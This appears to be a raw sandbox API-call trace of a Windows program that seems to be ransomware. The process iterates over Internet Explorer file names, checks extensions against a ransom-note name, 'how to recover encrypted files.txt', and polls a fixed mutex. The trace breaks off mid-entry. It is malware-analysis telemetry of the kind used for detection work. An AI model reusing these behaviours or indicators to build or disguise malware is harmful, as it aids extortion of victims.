WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.897] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.897] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.897] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.897] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.898] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18e3e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt\x18\x06") returned 34 [0058.898] CharLowerBuffW (in: lpsz=".exe", cchLength=0x4 | out: lpsz=".exe") returned 0x4 [0058.898] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".exe", cchWideChar=4, lpMultiByteStr=0x18e3e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".exetal.exe", lpUsedDefaultChar=0x0) returned 4 [0058.898] FileTimeToLocalFileTime (in: lpFileTime=0x18f538, lpLocalFileTime=0x18f444 | out: lpLocalFileTime=0x18f444) returned 1 [0058.898] FileTimeToDosDateTime (in: lpFileTime=0x18f444, lpFatDate=0x18f506, lpFatTime=0x18f504 | out: lpFatDate=0x18f506, lpFatTime=0x18f504) returned 1 [0058.898] GlobalLock (hMem=0x44000c) returned 0x54f168 [0058.898] GlobalHandle (pMem=0x54f168) returned 0x44000c [0058.898] GlobalUnlock (hMem=0x44000c) returned 0 [0058.898] GlobalLock (hMem=0x44000c) returned 0x54f168 [0058.898] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.898] GlobalHandle (pMem=0x54f168) returned 0x44000c [0058.898] GlobalUnlock (hMem=0x44000c) returned 0 [0058.898] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.898] GlobalUnlock (hMem=0x440004) returned 0 [0058.898] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.898] CharLowerBuffW (in: lpsz="ielowutil.exe", cchLength=0xd | out: lpsz="ielowutil.exe") returned 0xd [0058.898] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.898] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.898] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.898] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.898] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.898] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.898] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.898] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.898] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.898] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.898] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.898] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.899] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.899] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18e3e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt\x18\x06") returned 34 [0058.899] CharLowerBuffW (in: lpsz=".exe", cchLength=0x4 | out: lpsz=".exe") returned 0x4 [0058.899] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".exe", cchWideChar=4, lpMultiByteStr=0x18e3e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".exeutil.exe ", lpUsedDefaultChar=0x0) returned 4 [0058.899] FileTimeToLocalFileTime (in: lpFileTime=0x18f538, lpLocalFileTime=0x18f444 | out: lpLocalFileTime=0x18f444) returned 1 [0058.899] FileTimeToDosDateTime (in: lpFileTime=0x18f444, lpFatDate=0x18f506, lpFatTime=0x18f504 | out: lpFatDate=0x18f506, lpFatTime=0x18f504) returned 1 [0058.899] GlobalLock (hMem=0x440004) returned 0x54f168 [0058.899] GlobalHandle (pMem=0x54f168) returned 0x440004 [0058.899] GlobalUnlock (hMem=0x440004) returned 0 [0058.899] GlobalLock (hMem=0x440004) returned 0x54f168 [0058.899] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.899] GlobalHandle (pMem=0x54f168) returned 0x440004 [0058.899] GlobalUnlock (hMem=0x440004) returned 0 [0058.899] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.899] GlobalUnlock (hMem=0x44000c) returned 0 [0058.900] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.900] CharLowerBuffW (in: lpsz="ieproxy.dll", cchLength=0xb | out: lpsz="ieproxy.dll") returned 0xb [0058.900] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.900] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.900] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.900] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.900] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="y", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="yô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.900] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.900] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.901] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.901] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.901] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.901] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.901] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18e3e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt\x18\x06") returned 34 [0058.901] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0058.901] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18e3e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dllxy.dllo", lpUsedDefaultChar=0x0) returned 4 [0058.901] FileTimeToLocalFileTime (in: lpFileTime=0x18f538, lpLocalFileTime=0x18f444 | out: lpLocalFileTime=0x18f444) returned 1 [0058.901] FileTimeToDosDateTime (in: lpFileTime=0x18f444, lpFatDate=0x18f506, lpFatTime=0x18f504 | out: lpFatDate=0x18f506, lpFatTime=0x18f504) returned 1 [0058.901] GlobalLock (hMem=0x44000c) returned 0x54f168 [0058.901] GlobalHandle (pMem=0x54f168) returned 0x44000c [0058.901] GlobalUnlock (hMem=0x44000c) returned 0 [0058.901] GlobalLock (hMem=0x44000c) returned 0x54f168 [0058.901] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.901] GlobalHandle (pMem=0x54f168) returned 0x44000c [0058.901] GlobalUnlock (hMem=0x44000c) returned 0 [0058.901] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.901] GlobalUnlock (hMem=0x440004) returned 0 [0058.901] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.901] CharLowerBuffW (in: lpsz="IEShims.dll", cchLength=0xb | out: lpsz="ieshims.dll") returned 0xb [0058.901] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.901] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.901] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.901] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.901] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.901] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.901] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.901] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.902] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.902] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.902] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.902] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18e3e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt\x18\x06") returned 34 [0058.902] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0058.902] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18e3e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dllms.dllo", lpUsedDefaultChar=0x0) returned 4 [0058.902] FileTimeToLocalFileTime (in: lpFileTime=0x18f538, lpLocalFileTime=0x18f444 | out: lpLocalFileTime=0x18f444) returned 1 [0058.902] FileTimeToDosDateTime (in: lpFileTime=0x18f444, lpFatDate=0x18f506, lpFatTime=0x18f504 | out: lpFatDate=0x18f506, lpFatTime=0x18f504) returned 1 [0058.902] GlobalLock (hMem=0x440004) returned 0x54f168 [0058.902] GlobalHandle (pMem=0x54f168) returned 0x440004 [0058.902] GlobalUnlock (hMem=0x440004) returned 0 [0058.902] GlobalLock (hMem=0x440004) returned 0x54f168 [0058.902] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.902] GlobalHandle (pMem=0x54f168) returned 0x440004 [0058.902] GlobalUnlock (hMem=0x440004) returned 0 [0058.902] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.902] GlobalUnlock (hMem=0x44000c) returned 0 [0058.902] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.902] CharLowerBuffW (in: lpsz="iexplore.exe", cchLength=0xc | out: lpsz="iexplore.exe") returned 0xc [0058.902] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.902] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.902] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.902] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.902] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.902] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.902] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.902] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.902] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.902] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.903] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.903] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.903] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18e3e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt\x18\x06") returned 34 [0058.903] CharLowerBuffW (in: lpsz=".exe", cchLength=0x4 | out: lpsz=".exe") returned 0x4 [0058.903] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".exe", cchWideChar=4, lpMultiByteStr=0x18e3e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".exeore.exe", lpUsedDefaultChar=0x0) returned 4 [0058.903] FileTimeToLocalFileTime (in: lpFileTime=0x18f538, lpLocalFileTime=0x18f444 | out: lpLocalFileTime=0x18f444) returned 1 [0058.903] FileTimeToDosDateTime (in: lpFileTime=0x18f444, lpFatDate=0x18f506, lpFatTime=0x18f504 | out: lpFatDate=0x18f506, lpFatTime=0x18f504) returned 1 [0058.903] GlobalLock (hMem=0x44000c) returned 0x54f168 [0058.903] GlobalHandle (pMem=0x54f168) returned 0x44000c [0058.903] GlobalUnlock (hMem=0x44000c) returned 0 [0058.903] GlobalLock (hMem=0x44000c) returned 0x54f168 [0058.903] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.903] GlobalHandle (pMem=0x54f168) returned 0x44000c [0058.903] GlobalUnlock (hMem=0x44000c) returned 0 [0058.903] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.903] GlobalUnlock (hMem=0x440004) returned 0 [0058.903] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.903] CharLowerBuffW (in: lpsz="jsdbgui.dll", cchLength=0xb | out: lpsz="jsdbgui.dll") returned 0xb [0058.903] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.903] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.903] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.903] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.903] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.903] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.904] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.904] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.904] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.904] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.904] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="j", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.904] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18e3e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt\x18\x06") returned 34 [0058.904] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0058.904] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18e3e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 